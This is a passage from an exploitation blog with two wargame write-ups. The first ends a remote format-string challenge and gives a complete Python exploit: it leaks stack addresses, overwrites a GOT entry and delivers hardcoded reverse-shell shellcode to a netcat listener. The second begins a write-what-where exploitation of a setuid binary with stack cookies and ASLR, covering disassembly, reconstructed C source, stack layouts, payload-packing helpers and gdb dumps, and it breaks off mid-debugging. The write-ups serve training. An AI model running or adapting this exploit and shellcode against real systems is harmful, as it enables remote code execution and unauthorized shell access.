0804a048  00001307 R_386_JUMP_SLOT   00000000   close
0804a04c  00001407 R_386_JUMP_SLOT   00000000   send


From there, we can extract ssock address (remember it is a global variable from C source code) and perror() GOT address.
# addresses
perror_got = 0x804a010
ssock_addr = 0x804a064

Now onto offsets.

Offsets


In order to extract offsets, it would be great to attach gdb to our running rbinary2. Unfortunately, we have no clue as to what is the pid of our rbinary2.

Most people will rejoice at the idea that we have the source code and can recompile it.
It's the WRONG WAY. Simply because we have absolutely no clues as to what were the compilation flags used. As such, the compiled binary could be completely different to the existing rbinary2, neither the code or offsets will be the same (due to optimizations and other funky compiler features).

The BETTER WAY, would be to use the actual binary, patch the network port on which to bind and voilà!
We know the original binary bind to port 56006 (0xDAC6), we thus have to search for \xC6\xDA in the binary (don't forget that it's in little endian here) and change it to whatever port we want it to bind.


From there, we can actually debug our target and step through it.
I didn't use much the debugger other than for the purpose of getting offsets.
Here how to do it through GDB.
First we look at the ASM code to see where to break.

We are going to break at address 0x0804876f as we will have the correct value of ESP computed.

We dump part of the stack:

gdb ~/rbinary2
gdb$ x/1000wx $esp
0xbffff420: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff430: 0x00000000 0x00000000 0x00000000 0x00000000
<...>
0xbffffc50: 0xb7fd1ff4 0xbfffffe8 0xbffffcb8 0x08048a38
<...>
0xbfffffe0: 0x00000000 0x00000000 0x706d742f 0x2f32722f
0xbffffff0: 0x63746170 0x2e646568 0x006e6962 0x00000000

We have to localize where is our format string dumped stack from earlier, basically, 0x0848a38 is located in our format string stack dump! Doing some calculation, we can find the start of our stack dump:
0xbffffc58 - 523 * 4 = 0xbffff42c = start of format stack

We will use 0xbffffcb8 to compute our addresses as in our format string dump stack, the stack pointer preceding it is not aligned on a 4-bytes boundary.

Now we can have ESP offset:
0xbffffcb8 - 0xbffff420 = offset to esp = 0x898 = 2200

From there, we can deduce EBP, the input buffer address and the output buffer address through these formulas:
esp = leaked_addr - 0x898
ebp = esp + 0x838
input_buf = ebp - 0x420
output_buf = ebp - 0x820
landing = input_buf + 100
The landing address is arbitrary, we leave 100 bytes for the format string (but you can adjust it as long as it doesn't end up after the input_buf bounds.

We got all our offsets and thus can compute all the necessary addresses!

What is left?
Oh right, our format strings for first patching the GOT entry then the other one for triggering the payload by patching ssock!

Advanced format strings techniques

First we need to find the offset (compared to the format string stack pointer) at which we can find our format string.
For that, we are going to use TESO format string techniques for finding offset using the following pattern:
<needle><stackpop>|%08x

We change the stackpop after each iteration, after some time we should see the needle.
Here, ou needle is "AAAABBBBCCCC".
Let's try:

rbinary2@challenge02:/tmp$ for index in {1..10}; do printf "$index:" >> dump3.raw && python -c 'print "A" * 4 + "B" * 4 + "C" * 4 + "%u" * '`echo $index`' + "|%08x"' | nc 127.0.0.1 56006 >> dump3.raw; done

We can see this:
rbinary2@challenge02:/tmp$ strings dump3.raw
1:AAAABBBBCCCC0|00000000
2:AAAABBBBCCCC00|00000000
3:AAAABBBBCCCC000|41414141
4:AAAABBBBCCCC0001094795585|42424242
5:AAAABBBBCCCC00010947955851111638594|43434343
6:AAAABBBBCCCC000109479558511116385941128481603|31303030
7:AAAABBBBCCCC000109479558511116385941128481603825241648|37343930
8:AAAABBBBCCCC000109479558511116385941128481603825241648926169392|38353539
9:AAAABBBBCCCC000109479558511116385941128481603825241648926169392943011129|31313135
10:AAAABBBBCCCC000109479558511116385941128481603825241648926169392943011129825307445|38333631

So we can infer that after 2 stackpop (%u), we are at the beginning of our format stack.

Now for our writing format string, here is the pattern used (still from TESO):
<padding><stackpop><pair of value and address * 2><write code>

We only use 2 pairs as we are going to use short writes (in order to avoid trashing more bytes than necessary).

After playing around, we end up with the following format strings:
got_patch = "A%u%u%u<dummy><got_addr+2><dummy><got_addr><write1><write2>"
payload_trigger = "A%u%u%u<dummy>&ltssock_addr><write><payload>"

What is left is for the writes calculation.
Let's say we want to land on address 0xBFFFF8CC, here how I compute the 2 lengths:
# format elements
padding = 'A'
stackpop = '%u%u%u'
pairs = '{0}{0}{1}{1}'.format ( struct.pack ("<I", perror_got + 2), struct.pack ("<I", perror_got) )
# length calculation for correct address generation
print '[+] Calculating lengths'
landing1 = ((landing & 0xffff0000) >> 16)
len1 = landing1 - len (padding + stackpop + pairs) + 3 # 3 for '%hn'
len2 = (landing & 0xffff) - landing1

Now we have everything we need for a full reliable remote exploit for this challenge.

Here it is.

The exploit

I hardcoded the payload (it is a reverse shell) but you can modify the exploit as you like.

Just don't forget to wait with netcat listening:
nc -v -l -p [lport]

#!/usr/bin/python

from socket import *
import struct
import sys

# read from binary file
def read_values_from_binfile (filename):
    # fill values array
    values = []
    with open (filename, 'rb') as fpr:
        content = fpr.read()
        span = 4
        values = [ struct.unpack ('<I', content[i:i+span])[0] for i in range(0, len(content), span) ]

    return values

# leak stack through format string
def leak_addresses (host, port, start = 1, end = 746):
    values = []
    for idx in range (start, end):
        csock = socket (AF_INET, SOCK_STREAM)
        csock.connect ( (host, port) )
        fmt = '%{0}$x'.format (idx)
        csock.send (fmt)
        raw = csock.recv(8)
        # search c string
        value = ''
        for c in raw:
            if c == '\x00':
                break
            value += c
        values.append ( int (value, 16) )
        csock.close ()
    return values

def filter_addr (addr_list, base_addr):
    filtered = []
    for value in values:
        if value & 0xff000000 == base_addr:
            filtered.append (value)
    return filtered

if len (sys.argv) == 2:
    (progname, filename) = sys.argv
elif len (sys.argv) == 4:
    (progname, host, port, lport) = sys.argv
    port = int (port, 10)
    lport = int (lport, 10)
    lport = struct.pack ('>H', lport)
    print 'lport: {0}'.format (lport)
else:
    print 'Usage (2 args): {0} dump_name'.format (sys.argv[0])
    print 'Usage (3 args): {0} host port lport'.format (sys.argv[0])
    exit (1)

print '[+] Leaking part of stack'
if 'filename' in locals():
    values = read_values_from_binfile (filename)
elif 'host' in locals() and 'port' in locals():
    values = leak_addresses ( host, port )
else:
    print 'Failed execution'
    exit (1)

# filter out only stack address
stack_addr_list = filter_addr (values, 0xbf000000)
libs = filter_addr (values, 0xb7000000)
'''
dirty hack to get stack address
better: align values to array of offsets and determine correct stack address
'''
leaked_addr = values[523]
print '[+] Got leaked address'

# compute buffer addresses
print '[+] Computing addresses'
esp = leaked_addr - 0x898
ebp = esp + 0x838
input_buf = ebp - 0x420
output_buf = ebp - 0x820
landing = input_buf + 100
print '    esp    : 0x{0:x}'.format (esp)
print '    ebp    : 0x{0:x}'.format (ebp)
print '    input  : 0x{0:x}'.format (input_buf)
print '    output : 0x{0:x}'.format (output_buf)
print '    landing: 0x{0:x}'.format (landing)

# addresses
perror_got = 0x804a010
ssock_addr = 0x804a064

# format elements
padding = 'A'
stackpop = '%u%u%u'
pairs = '{0}{0}{1}{1}'.format ( struct.pack ("<I", perror_got + 2), struct.pack ("<I", perror_got) )
# length calculation for correct address generation
print '[+] Calculating lengths'
landing1 = ((landing & 0xffff0000) >> 16)
len1 = landing1 - len (padding + stackpop + pairs) + 3 # 3 for '%hn'
len2 = (landing & 0xffff) - landing1

# construct format strings
print '[+] Building perror_got patch format string'
fmt_write_got = padding + stackpop + pairs + '%{0}u%hn'.format (len1) + '%{0}u%hn'.format (len2)
print '    {0}'.format (fmt_write_got)

# reverse shell to port 11111
print '[+] Building ssock patch format string'
payload = "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"
payload += "\x02\x89\xe1\xcd\x80\x59\x93\xb0\x3f\xcd"
payload += "\x80\x49\x79\xf9\xb0\x66\x68\x7f\x01\x01"
payload += "\x01\x66\x68" + lport + "\x66\x6a\x02\x89\xe1"
payload += "\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b"
payload += "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
payload += "\x6e\x89\xe3\x31\xc9\xcd\x80"
print '[+] payload = {0}'.format (payload)
fmt_write_ssock = padding + stackpop + struct.pack ("<I", ssock_addr) * 2 + '%10u%hn'
# too much nopsled cause the payload to be cutted off, need to calculate better
# nopsled = (1023 - len (fmt_write_ssock)) * '\x90'
nopsled = 100 * '\x90'
fmt_write_ssock += nopsled + payload
print '    {0}'.format (fmt_write_ssock)

# format string write
# payload + format will patch ssock to cause accept to fail, exit and go to our shellcode
if len (sys.argv) == 4:
    print '[+] Patching exit.got function pointer'
    csock = socket (AF_INET, SOCK_STREAM)
    csock.connect ( (host, port) )
    csock.send ( fmt_write_got )
    csock.close ()

    print '[+] Triggering payload!!!'
    csock = socket (AF_INET, SOCK_STREAM)
    csock.connect ( (host, port) )
    csock.send ( fmt_write_ssock )
    csock.close ()

    print '[+] You should have gotten a reverse shell, if not, the exploit failed'

print 'Bye'


Conclusion

As you could see, as always, with dedication come the prize: a full reliable remote exploit for rbinary2.

Anyhow, this post was to illustrate how we can make use of infoleak for bettering the reliability of an exploit.
In this case, if ASLR+DEP+Full PIE were to be activated, it would still be exploitable thanks to the infoleak. This is left as an exercise to the readers.
For those wanting to train more, you could also bruteforce the format string stack pointer offset remotely and completely automate the format string construction.

And also, I've heard multiple times: this paper is so ooold, useless! It's old sure, but the more techniques you have in your bag, the more you will be prepared. We never know, sometime old and simple techniques are the most effecient to use.

I hope you enjoyed this article,

Cheers,

m_101


Reference:

- The challenge: Remote Binary 2
- The bible on format string exploitation: Format Strings by TESO




lundi 10 juin 2013

Vanilla1 : write-what-where exploitation (ASLR, Full RELRO, Stack cookie)

Hello,

For today article, we're going to analyze and exploit a write-what-where with
ASLR, no PIE, full RELRO and stack cookie.

This is part of a set of challenges made by sm0k: Vanilla Dome Wargame .

Let's begin.

The challenge



Before any reversing attempt, we need to launch the program to see what it does.

vanilla1@VanillaDome ~ $ ls -lash
total 76K
4.0K drwxr-xr-x  2 root          root          4.0K Apr 29 14:15 .
4.0K drwxr-x--x 10 root          root          4.0K May 15 20:52 ..
4.0K -rw-r--r--  1 root          root           127 Mar 23 05:56 .bash_logout
4.0K -rw-r--r--  1 root          root           193 Mar 23 05:56 .bash_profile
4.0K -rw-r--r--  1 root          root          3.9K Apr 29 15:47 .bashrc
 44K -rw-r--r--  1 root          root           44K Apr 29 14:15 .gdbinit
8.0K -r-sr-sr-x  1 vanilla1crack vanilla1crack 6.7K Apr 29 12:28 Vanilla1
4.0K -r--------  1 vanilla1crack vanilla1crack   19 Apr 29 12:28 key
vanilla1@VanillaDome ~ $ ./Vanilla1 
     Usage:./Vanilla1 <file>
vanilla1@VanillaDome ~ $ ./Vanilla1 key
vanilla1@VanillaDome ~ $ python -c 'print "a" * 1024' > /tmp/file.txt
vanilla1@VanillaDome ~ $ ./Vanilla1 /tmp/file.txt


Ok, it basically read some file and do stuffs with it ...

Let's reverse it



Opening GDB and disassembling main we get the following:

Dump of assembler code for function main:
   0x08048578 <+0>:    push   ebp
   0x08048579 <+1>:    mov    ebp,esp
   0x0804857b <+3>:    and    esp,0xfffffff0                   ; alignment
   0x0804857e <+6>:    sub    esp,0x1050                       ; there is a HUGE buffer and we have ebp = esp + 0x1050
   0x08048584 <+12>:    mov    eax,DWORD PTR [ebp+0x8]          ; argc
   0x08048587 <+15>:    mov    DWORD PTR [esp+0x1c],eax         ; n_arg = argc
   0x0804858b <+19>:    mov    eax,DWORD PTR [ebp+0xc]          ; argv
   0x0804858e <+22>:    mov    DWORD PTR [esp+0x18],eax         ; args = argv
   0x08048592 <+26>:    mov    eax,gs:0x14                      ; eax = stack cookie
   0x08048598 <+32>:    mov    DWORD PTR [esp+0x104c],eax       ; stack cookie (stored in gs:0x14)
   0x0804859f <+39>:    xor    eax,eax
   0x080485a1 <+41>:    cmp    DWORD PTR [esp+0x1c],0x1         ; if (n_arg <= 1) then error
   0x080485a6 <+46>:    jg     0x80485c4 <main+76>              ; else continue

   0x080485a8 <+48>:    mov    eax,DWORD PTR [esp+0x18]         ; args ptr
   0x080485ac <+52>:    mov    edx,DWORD PTR [eax]              ; program name
   0x080485ae <+54>:    mov    eax,0x8048790                    ; format = "\t Usage:%s <file>\n"
   ; printf ("\t Usage:%s <file>\n", argv[0]);
   0x080485b3 <+59>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b7 <+63>:    mov    DWORD PTR [esp],eax
   0x080485ba <+66>:    call   0x8048434 <printf@plt>
   0x080485bf <+71>:    jmp    0x80486a9 <main+305>          ; bye

   ; memset (esp+0x38, 0x0, 0x1000);
   0x080485c4 <+76>:    mov    DWORD PTR [esp+0x34],0x0         ; fp = NULL;
   0x080485cc <+84>:    mov    DWORD PTR [esp+0x8],0x1000
   0x080485d4 <+92>:    mov    DWORD PTR [esp+0x4],0x0
   0x080485dc <+100>:    lea    eax,[esp+0x38]
   0x080485e0 <+104>:    mov    DWORD PTR [esp],eax
   0x080485e3 <+107>:    call   0x80483f4 <memset@plt>

   ; fp = fopen (argv[1], "r");
   0x080485e8 <+112>:    mov    edx,0x80487a3                    ; "r"
   0x080485ed <+117>:    mov    eax,DWORD PTR [esp+0x18]         ; args
   0x080485f1 <+121>:    add    eax,0x4
   0x080485f4 <+124>:    mov    eax,DWORD PTR [eax]              ; eax = args[1];
   0x080485f6 <+126>:    mov    DWORD PTR [esp+0x4],edx
   0x080485fa <+130>:    mov    DWORD PTR [esp],eax
   0x080485fd <+133>:    call   0x8048424 <fopen@plt>
   0x08048602 <+138>:    mov    DWORD PTR [esp+0x34],eax
   0x08048606 <+142>:    cmp    DWORD PTR [esp+0x34],0x0         ; if (fp == NULL) then error
   0x0804860b <+147>:    je     0x80486a9 <main+305>
   0x08048611 <+153>:    jmp    0x8048682 <main+266>          ; else fgets

   ; value1 = atoll (buffer);
   0x08048613 <+155>:    lea    eax,[esp+0x1038]                 ; this is a small buffer (ebp-0x1050+0x1038 = ebp-0x18)
   0x0804861a <+162>:    mov    DWORD PTR [esp],eax
   0x0804861d <+165>:    call   0x8048414 <atoll@plt>
   0x08048622 <+170>:    mov    DWORD PTR [esp+0x30],eax
   ; fgets (sbuffer, 0x14, fp);
   0x08048626 <+174>:    mov    eax,DWORD PTR [esp+0x34]         ; eax = fp
   0x0804862a <+178>:    mov    DWORD PTR [esp+0x8],eax
   0x0804862e <+182>:    mov    DWORD PTR [esp+0x4],0x14
   0x08048636 <+190>:    lea    eax,[esp+0x1038]                 ; sbuffer
   0x0804863d <+197>:    mov    DWORD PTR [esp],eax
   0x08048640 <+200>:    call   0x80483e4 <fgets@plt>
   ; value2 = atoll(sbuffer);
   0x08048645 <+205>:    lea    eax,[esp+0x1038]
   0x0804864c <+212>:    mov    DWORD PTR [esp],eax
   0x0804864f <+215>:    call   0x8048414 <atoll@plt>
   0x08048654 <+220>:    mov    DWORD PTR [esp+0x2c],eax
   0x08048658 <+224>:    cmp    DWORD PTR [esp+0x30],0x0         ; if (value1 == 0) then fgets
   0x0804865d <+229>:    je     0x8048682 <main+266>

   0x0804865f <+231>:    cmp    DWORD PTR [esp+0x2c],0x0         ; if (value2 == 0) then fgets
   0x08048664 <+236>:    je     0x8048682 <main+266>

   ; insert (value2, value1, esp+0x38);
   0x08048666 <+238>:    lea    eax,[esp+0x38]
   0x0804866a <+242>:    mov    DWORD PTR [esp+0x8],eax
   0x0804866e <+246>:    mov    eax,DWORD PTR [esp+0x30]         ; eax = value1
   0x08048672 <+250>:    mov    DWORD PTR [esp+0x4],eax
   0x08048676 <+254>:    mov    eax,DWORD PTR [esp+0x2c]         ; eax = value2
   0x0804867a <+258>:    mov    DWORD PTR [esp],eax
   0x0804867d <+261>:    call   0x8048534 <insert>

   ; fgets (buffer, 0x14, fp);
   0x08048682 <+266>:    mov    eax,DWORD PTR [esp+0x34]         ; eax = fp
   0x08048686 <+270>:    mov    DWORD PTR [esp+0x8],eax
   0x0804868a <+274>:    mov    DWORD PTR [esp+0x4],0x14
   0x08048692 <+282>:    lea    eax,[esp+0x1038]                 ; buffer
   0x08048699 <+289>:    mov    DWORD PTR [esp],eax
   0x0804869c <+292>:    call   0x80483e4 <fgets@plt>
   0x080486a1 <+297>:    test   eax,eax                          ; if (still data) then loop
   0x080486a3 <+299>:    jne    0x8048613 <main+155>

   ; check cookie
   0x080486a9 <+305>:    mov    eax,0x0
   0x080486ae <+310>:    mov    edx,DWORD PTR [esp+0x104c]       ; stack cookie
   0x080486b5 <+317>:    xor    edx,DWORD PTR gs:0x14
   0x080486bc <+324>:    je     0x80486c3 <main+331>

   0x080486be <+326>:    call   0x8048444 <__stack_chk_fail@plt>
   0x080486c3 <+331>:    leave 
   0x080486c4 <+332>:    ret   
End of assembler dump.


We basically have a main() which read the file with fgets() and use atoll()
in an insert function.

We can reconstruct the stack also. We can see in the code that ESP is used but
it is not convenient for calculating sizes.
We get the following stack values in the end for main():
esp+0x2c        <-> ebp-0x1050+0x2c-0x8 = ebp-0x102c    ; value2
esp+0x30        <-> ebp-0x1050+0x30-0x8 = ebp-0x1028    ; value1
esp+0x34        <-> ebp-0x1050+0x34-0x8 = ebp-0x1024    ; fp
esp+0x38        <-> ebp-0x1050+0x38-0x8 = ebp-0x1020    ; buffer (0x1000 = 4096 bytes)
esp+0x1038      <-> ebp-0x1050+0x1038-0x8 = ebp-0x20    ; sbuffer (0x14 = 20 bytes)
esp+0x104c      <-> ebp-0x1050+0x104c-0x8 = ebp-0xc     ; stack cookie

Don't forget -0x8 which correspond to seip and sebp ;).
sbuffer is a temporary buffer which is used by fgets().
value1 and value2 are integers converted from sbuffer through atoll().
fp is the file pointer used for referencing the file.

Having all the values, we can reconstruct the stack properly:
            STACK TOP = LOW ADDRESSES

            esp         |   arg0
            esp+0x4     |   arg1
        ^   esp+0x8     |   arg2                |
        |   ebp-0x102c  |   value2              |
        |   ebp-0x1028  |   value1              |
  PUSH  |   ebp-0x1024  |   fp                  |   POP
        |   ebp-0x1020  |   buffer              |
        |           .....                       |
        |   ebp-0x20    |   end buffer          |
        |   ebp-0x20    |   sbuffer             V
            ebp-0xc     |   stack cookie
            ebp         |   sebp
            ebp+0x4-blog     |   seip
            ebp+0x8     |   argc
            ebp+0xc     |   argv

            STACK BOTTOM = HIGH ADDRESSES


Following the ASM, the main should look something like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc, char *argv[])
{
    int value1, value2;
    FILE *fp;
    char buffer[4096], sbuffer[20];

    if (argc <= 1) {
        printf ("\t Usage:%s <file>\n", argv[0]);
        return 0;
    }

    memset (buffer, 0, 0x1000);

    fp = fopen (argv[1], "r");
    if (fp == NULL)
        return 0;

    while (fgets (sbuffer, 0x14, fp) != NULL) {
        value1 = atoll (sbuffer);
        fgets (sbuffer, 0x14, fp);
        value2 = atoll (sbuffer);
        if (value1 != 0 && value2 != 0)
            insert (value2, value1, buffer);
    }

    return 0;
}


The file is basically structured as a sequence of string values:
value1 | value2 | value1 | value2 | .... | value1 | value2

Don't forget that atoll() only convert leading characters [0-9]+ to an integer,
any following characters that are not numbers are not converted.

Now onto insert reversing:

Dump of assembler code for function insert:
   0x08048534 <+0>:    push   ebp
   0x08048535 <+1>:    mov    ebp,esp
   0x08048537 <+3>:    sub    esp,0x28
   0x0804853a <+6>:    mov    eax,DWORD PTR [ebp+0x8]              ; eax = value2
   0x0804853d <+9>:    mov    DWORD PTR [ebp-0x1c],eax
   0x08048540 <+12>:    mov    eax,DWORD PTR [ebp+0xc]              ; eax = value1
   0x08048543 <+15>:    mov    DWORD PTR [ebp-0x20],eax
   0x08048546 <+18>:    mov    eax,DWORD PTR [ebp+0x10]             ; eax = buffer
   0x08048549 <+21>:    mov    DWORD PTR [ebp-0x24],eax
   0x0804854c <+24>:    mov    eax,gs:0x14                          ; stack cookie
   0x08048552 <+30>:    mov    DWORD PTR [ebp-0xc],eax
   0x08048555 <+33>:    xor    eax,eax
   0x08048557 <+35>:    mov    eax,DWORD PTR [ebp-0x1c]
   0x0804855a <+38>:    shl    eax,0x2                              ; value2 <<= 2;
   0x0804855d <+41>:    add    eax,DWORD PTR [ebp-0x24]             ; value2 += buffer;
   0x08048560 <+44>:    mov    edx,DWORD PTR [ebp-0x20]
   0x08048563 <+47>:    mov    DWORD PTR [eax],edx                  ; *value2 = value1;
   ; stack cookie check
   0x08048565 <+49>:    mov    eax,DWORD PTR [ebp-0xc]              ; stack cookie
   0x08048568 <+52>:    xor    eax,DWORD PTR gs:0x14
   0x0804856f <+59>:    je     0x8048576 <insert+66>

   0x08048571 <+61>:    call   0x8048444 <__stack_chk_fail@plt>
   0x08048576 <+66>:    leave 
   0x08048577 <+67>:    ret   
End of assembler dump.


We thus have the following stack for insert():
            STACK TOP = LOW ADDRESSES

            esp
        ^   ebp-0x24    |   buffer          |
        |   ebp-0x20    |   value1          |
  PUSH  |   ebp-0x1c    |   value2          |   POP
        |   ebp-0xc     |   stack cookie    V
            ebp         |   sebp
            ebp+0x4     |   seip
            ebp+0x8     |   offset
            ebp+0xc     |   value
            ebp+0x10    |   buffer

            STACK BOTTOM = HIGH ADDRESSES


The interesting code is between 0x804855a and 0x8048563, the rest is mostly
setting up stuffs.
From this code we can infer that:
- buffer is in fact an array of integers (due to shl eax, 0x2 which is equal to x4)
- value2 is an offset
- value1 is a value to insert
- no return as eax value is not properly re-initialized

So it is equivalent to the following code:
void insert (int offset, int value, int *array)
{
    array[offset] = value;
}


So we can basically write an arbitrary value anywhere we want: a so called
"write-what-where".
This basically allow us to easily bypass the stack cookie.

Time for exploitation.

Exploiting a write-what-where



We first need to know what to write, there are multiple possibilities:
- SEIP (return to code)
- SEBP (then craft a fake stack frame and all necessary stuffs)
- atexit destructors
- DYNAMIC FINI
- GOT entry
- etc
Since this is a write-what-where and we want a reliable exploit, the
__stack_chk_fail GOT entry would have been a nice target.
Unlucky for us: RELRO so no way.
We will target a stack address as the buffer address is on the stack and we
control an offset. It will be more reliable than targeting an address in the
binary (stack randomization could make the offset change between 0x804.... and
stack addresses). SEIP is the obvious candidate here.
Since we would like to trigger our payload as soon as possible, insert() SEIP
is the target.

Second condition: we need a place for our shellcode!
We'll "simply" inject it through our "integers array". There is plenty of room
(0x1000 = 4096 bytes!).
Secondly, good news: no NX, so no need for ROP here.
Given that our shellcode is around 22-50 bytes, we get at least 4000 NOPs for
our NOPsled.

Ok, now we have the theory, let's resolve that challenge!

Exploitation



In our previous section, our exploit reflexion was as follow:
- fill integer array with shellcode
- activate payload by overwriting insert() SEIP

The following snippets of code is in charge of filling the array:
int get_fsize (FILE *fp)
{
    int sz_file;
    int old_offset;

    old_offset = ftell (fp);
    fseek (fp, 0, SEEK_END);
    sz_file = ftell (fp);
    fseek (fp, old_offset, SEEK_SET);

    return sz_file;
}

// integer to ascii
char *i2a (uint32_t value)
{
    char *intstr;
    int len_intstr;

    intstr = calloc (21, sizeof(*intstr));
    memset (intstr, 'a', 19);
    snprintf (intstr, 19, "%d", value);
    len_intstr = strlen (intstr);
    if (intstr > 0)
        intstr[len_intstr] = 'a';

    return intstr;
}

struct dpatch_t *fill_array (struct dpatch_t *array, int n_elts, FILE *fp)
{
    // buffer
    char *buffer;
    // loop
    int idx_array, idx_buffer; 
    int sz_file;
    int rest;

    sz_file = get_fsize (fp);
    rest = sz_file % 4;

    // alloc buffer
    buffer = calloc (sz_file + (rest != 0 ? 4 : 0), sizeof(*buffer));
    if (!buffer)
        return NULL;

    // read
    fseek (fp, 0, SEEK_SET);
    fread (buffer, sz_file, 1, fp);

    // construct array
    for (idx_array = 0, idx_buffer = 0; idx_array < n_elts - 1; idx_array++, idx_buffer++) {
        array[idx_array].value = i2a (*((uint32_t *) buffer + idx_buffer));
        array[idx_array].offset = i2a (idx_buffer);
    }

    free (buffer);

    return array;
}


Now we need to activate our payload through the vulnerability trigger.
We need to compute our insert() SEIP offset.

ESP (insert) = ESP (main) - 0x4 (SEIP offset) - 0x4 (SEBP offset) - 0x28
             = EBP (main) - 0x1050 - 0x4 - 0x4 - 0x28
             = EBP (main) - 0x1080
EBP (insert) = ESP (main) - 0x4 (SEIP offset) - 0x4 (SEBP offset)
             = EBP (main) - 0x1050 - 0x4 - 0x4
             = EBP (main) - 0x1058

seip (insert) = buffer - (EBP (insert) + 0x4)
              = (EBP (main) - 0x1020) - (EBP (main) - 0x1058 + 0x4)
              = 0x3c


Ok, we got 0x3c (60) bytes upper on the stack and lower in memory.
So we basically are going to create an underflow.
Since there seems to be only unsigned integers but multiplied by 0x4. We need
to have "real" value:
3c = 15 * 4
Ok we got our offset, what about our value to insert?

We can avoid guessing the 4 bytes of the address.
We can do that by overwriting only 2 last bytes of insert() SEIP (it would
thus junk 2 bytes afterward but we don't really care about those).
Since we multiply by 4, this technique is not possible (it has to be a
multiple of 4).

There is an actual better solution.
Remember our insert() stack?
            STACK TOP = LOW ADDRESSES

            esp
        ^   ebp-0x24    |   buffer          |
        |   ebp-0x20    |   value1          |
  PUSH  |   ebp-0x1c    |   value2          |   POP
        |   ebp-0xc     |   stack cookie    V
            ebp         |   sebp
            ebp+0x4     |   seip
            ebp+0x8     |   offset
            ebp+0xc     |   value
            ebp+0x10    |   buffer

            STACK BOTTOM = HIGH ADDRESSES


We have buffer address laying on the stack!
We may be able to reuse it :).
Let's check:

We're going to break on:
-   0x0804867d <main+261> : call 0x8048534 <insert>
-   0x08048577 <insert+67>: ret

gdb$ b *0x0804867d
gdb$ b *0x08048577
gdb$ r /tmp/test.txt
--------------------------------------------------------------------------[regs]
  EAX: FFFFFFF1  EBX: 9CB15E54  ECX: 00000001  EDX: FFFFFFFF  o d I t S z a p c 
  ESI: 00000000  EDI: 00000000  EBP: B3D36E58  ESP: B3D35E00  EIP: 0804867D
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:B3D35E00]----------------------------------------------------------[stack]
B3D35E50 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E40 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E30 : 00 E8 76 48  C8 61 05 08 - 00 00 00 00  00 00 00 00 ..vH.a..........
B3D35E20 : 00 00 00 00  00 00 00 00 - 00 00 00 00  F1 FF FF FF ................
B3D35E10 : 00 00 00 00  00 00 00 00 - 04 6F D3 B3  02 00 00 00 .........o......
B3D35E00 : F1 FF FF FF  00 E8 76 48 - 38 5E D3 B3  00 00 00 00 ......vH8^......
[007B:B3D35E00]-----------------------------------------------------------[data]
B3D35E00 : F1 FF FF FF  00 E8 76 48 - 38 5E D3 B3  00 00 00 00 ......vH8^......
B3D35E10 : 00 00 00 00  00 00 00 00 - 04 6F D3 B3  02 00 00 00 .........o......
B3D35E20 : 00 00 00 00  00 00 00 00 - 00 00 00 00  F1 FF FF FF ................
B3D35E30 : 00 E8 76 48  C8 61 05 08 - 00 00 00 00  00 00 00 00 ..vH.a..........
B3D35E40 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E50 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E60 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E70 : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
[0073:0804867D]-----------------------------------------------------------[code]
=> 0x804867d <main+261>:    call   0x8048534 <insert>
   0x8048682 <main+266>:    mov    eax,DWORD PTR [esp+0x34]
   0x8048686 <main+270>:    mov    DWORD PTR [esp+0x8],eax
   0x804868a <main+274>:    mov    DWORD PTR [esp+0x4],0x14
   0x8048692 <main+282>:    lea    eax,[esp+0x1038]
   0x8048699 <main+289>:    mov    DWORD PTR [esp],eax
   0x804869c <main+292>:    call   0x80483e4 <fgets@plt>
   0x80486a1 <main+297>:    test   eax,eax
--------------------------------------------------------------------------------

Breakpoint 1, 0x0804867d in main ()
gdb$ gdb$ p/x $ebp-0x1020
$1 = 0xb3d35e38
gdb$ c
--------------------------------------------------------------------------[regs]
  EAX: 00000000  EBX: 9CB15E54  ECX: 00000001  EDX: 4876E800  o d I t s Z a P c 
  ESI: 00000000  EDI: 00000000  EBP: B3D36E58  ESP: B3D35DFC  EIP: 08048577
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:B3D35DFC]----------------------------------------------------------[stack]
B3D35E4C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E3C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E2C : F1 FF FF FF  00 E8 76 48 - C8 61 05 08  00 00 00 00 ......vH.a......
B3D35E1C : 02 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E0C : 00 00 00 00  00 00 00 00 - 00 00 00 00  04 6F D3 B3 .............o..
B3D35DFC : 00 E8 76 48  F1 FF FF FF - 00 E8 76 48  38 5E D3 B3 ..vH......vH8^..
[007B:B3D35DFC]-----------------------------------------------------------[data]
B3D35DFC : 00 E8 76 48  F1 FF FF FF - 00 E8 76 48  38 5E D3 B3 ..vH......vH8^..
B3D35E0C : 00 00 00 00  00 00 00 00 - 00 00 00 00  04 6F D3 B3 .............o..
B3D35E1C : 02 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E2C : F1 FF FF FF  00 E8 76 48 - C8 61 05 08  00 00 00 00 ......vH.a......
B3D35E3C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E4C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E5C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
B3D35E6C : 00 00 00 00  00 00 00 00 - 00 00 00 00  00 00 00 00 ................
[0073:08048577]-----------------------------------------------------------[code]
=> 0x8048577 <insert+67>:    ret   
   0x8048578 <main>:    push   ebp
   0x8048579 <main+1>:    mov    ebp,esp
   0x804857b <main+3>:    and    esp,0xfffffff0
